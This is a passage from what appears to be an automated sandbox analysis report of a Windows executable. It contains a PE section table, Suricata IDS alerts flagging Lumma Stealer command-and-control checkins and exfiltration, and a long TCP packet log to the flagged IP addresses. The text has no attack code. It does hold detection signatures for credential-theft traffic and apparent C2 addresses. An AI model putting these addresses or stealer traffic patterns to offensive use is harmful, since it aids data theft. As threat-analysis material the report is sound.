gxnrbpay	0x4b8000	0x1000	0x400	a829e74539329259516c0c13dd8fec4a	False	0.82421875	data	6.3909198486897525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b9000	0x3000	0x2200	3ad81e73ea286d73dae1bd16a4746b03	False	0.06571691176470588	DOS executable (COM)	0.7639430222261466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T13:27:16.099132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49705	188.114.96.3	443	TCP
2024-11-20T13:27:17.629949+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49705	188.114.96.3	443	TCP
2024-11-20T13:27:17.629949+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49705	188.114.96.3	443	TCP
2024-11-20T13:27:18.205038+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49706	188.114.96.3	443	TCP
2024-11-20T13:27:19.215812+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49706	188.114.96.3	443	TCP
2024-11-20T13:27:19.215812+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49706	188.114.96.3	443	TCP
2024-11-20T13:27:19.985217+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	188.114.96.3	443	TCP
2024-11-20T13:27:22.133064+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-20T13:27:23.476651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	188.114.96.3	443	TCP
2024-11-20T13:27:25.549591+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	188.114.96.3	443	TCP
2024-11-20T13:27:25.913159+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49710	188.114.96.3	443	TCP
2024-11-20T13:27:26.958660+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49711	188.114.96.3	443	TCP
2024-11-20T13:27:30.372167+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	188.114.96.3	443	TCP
2024-11-20T13:27:32.179914+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49713	188.114.96.3	443	TCP
2024-11-20T13:27:32.877731+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49716	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 13:27:11.172662973 CET	49673	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:11.500796080 CET	49672	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:14.219563007 CET	49676	443	192.168.2.8	52.182.143.211
Nov 20, 2024 13:27:15.535763979 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:15.535813093 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:15.536376953 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:15.631500959 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:15.631529093 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:16.098916054 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:16.099132061 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:16.102636099 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:16.102657080 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:16.102948904 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:16.157088995 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:16.187490940 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:16.187491894 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:16.187627077 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:16.828905106 CET	49677	80	192.168.2.8	192.229.211.108
Nov 20, 2024 13:27:17.629949093 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:17.630053043 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:17.630136013 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:17.644082069 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:17.644082069 CET	49705	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:17.644109011 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:17.644124985 CET	443	49705	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:17.715831041 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:17.715852022 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:17.715934992 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:17.716242075 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:17.716250896 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:18.204858065 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:18.205038071 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:18.257575989 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:18.257617950 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:18.257983923 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:18.259232998 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:18.259264946 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:18.259326935 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.215802908 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.215851068 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.215892076 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.215940952 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.215961933 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216007948 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216008902 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.216017962 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216067076 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.216072083 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216100931 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216130018 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216155052 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.216157913 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216166973 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216202021 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.216650963 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.216708899 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.307634115 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.307756901 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.307836056 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.307843924 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.307893991 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.308089972 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.308104992 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.308116913 CET	49706	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.308124065 CET	443	49706	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.522501945 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.522555113 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.522780895 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.523221970 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.523241043 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.984999895 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.985217094 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.986737967 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.986768007 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.987013102 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:19.988874912 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.989033937 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:19.989073038 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:20.782037020 CET	49673	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:21.074811935 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:21.074902058 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:21.075002909 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:21.076792955 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:21.076812029 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:21.110162973 CET	49672	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:21.670115948 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:21.670160055 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:21.670233965 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:21.670650959 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:21.670663118 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.132884979 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.133064032 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:22.134548903 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:22.134557009 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.134805918 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.136218071 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:22.136359930 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:22.136389971 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.136481047 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:22.136486053 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.714929104 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.715022087 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.715068102 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:22.715193033 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:22.715213060 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:22.780013084 CET	443	49704	23.206.229.226	192.168.2.8
Nov 20, 2024 13:27:22.780114889 CET	49704	443	192.168.2.8	23.206.229.226
Nov 20, 2024 13:27:23.010865927 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.010915995 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:23.011003971 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.011523008 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.011542082 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:23.476556063 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:23.476650953 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.478019953 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.478029966 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:23.478274107 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:23.479521990 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.479635954 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.479655027 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:23.479720116 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:23.479727983 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:24.051337004 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:24.051430941 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:24.051549911 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:24.079871893 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:24.079910040 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:24.971488953 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:24.971537113 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:24.971640110 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:24.972017050 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:24.972028017 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:25.549426079 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:25.549591064 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:25.551173925 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:25.551188946 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:25.551513910 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:25.553307056 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:25.553436995 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:25.553442955 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:25.913167000 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:25.913278103 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:25.913333893 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:25.913410902 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:25.913427114 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.439233065 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.439273119 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.439384937 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.439754009 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.439768076 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.958534002 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.958659887 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.960185051 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.960196018 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.960516930 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.968074083 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.968945026 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.968974113 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969064951 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969086885 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969172001 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969261885 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969372988 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969408035 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969532013 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969562054 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969671011 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969696045 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969706059 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969727039 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969816923 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969836950 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.969855070 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969959021 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.969976902 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.978147030 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.978291035 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.978318930 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:26.978338003 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.978380919 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:26.979448080 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:29.440128088 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:29.440179110 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:29.440284014 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:29.442154884 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:29.442172050 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:29.827044964 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:29.827214003 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:29.827299118 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:29.843224049 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:29.843250036 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:29.893409014 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:29.893455982 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:29.893528938 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:29.894216061 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:29.894236088 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:30.233560085 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:30.233686924 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:30.261576891 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:30.261611938 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:30.261934042 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:30.313302994 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:30.372035027 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:30.372167110 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:30.571387053 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:30.571429968 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:30.571985006 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:30.574847937 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:30.574878931 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:30.574944019 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:31.240489960 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:31.283329010 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503263950 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503285885 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503302097 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503321886 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503329992 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503336906 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503360033 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:31.503387928 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.503416061 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:31.503436089 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:31.504606009 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.504674911 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:31.504688025 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:31.504801989 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:32.020548105 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:32.020574093 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:32.020603895 CET	49712	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:27:32.020612001 CET	443	49712	4.245.163.56	192.168.2.8
Nov 20, 2024 13:27:32.179925919 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:32.180036068 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:32.180115938 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:32.180294991 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:32.180310011 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:32.180341005 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 13:27:32.180346966 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 13:27:32.184433937 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.189511061 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.189635038 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.189801931 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.195000887 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877640009 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877675056 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877686024 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877703905 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877715111 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877731085 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.877763987 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.877784014 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877794981 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877805948 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877825975 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.877840996 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877851963 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.877856016 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.877912998 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.885584116 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.885596991 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.885608912 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:32.885634899 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:32.938262939 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.005971909 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006010056 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006021976 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006031036 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006046057 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006062984 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.006123066 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.006622076 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006634951 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006645918 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006655931 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006669044 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006675959 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.006705046 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.006798983 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006809950 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006820917 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006831884 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006844997 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006855965 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006855965 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.006876945 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.006896973 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.006963015 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006973982 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006984949 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.006997108 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.007000923 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.007045031 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.009000063 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.009012938 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.009025097 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.009052992 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.011073112 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.011136055 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.127089977 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.127105951 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.127281904 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:33.127299070 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.127310991 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.127331018 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:33.127373934 CET	49716	80	192.168.2.8	185.215.113.16
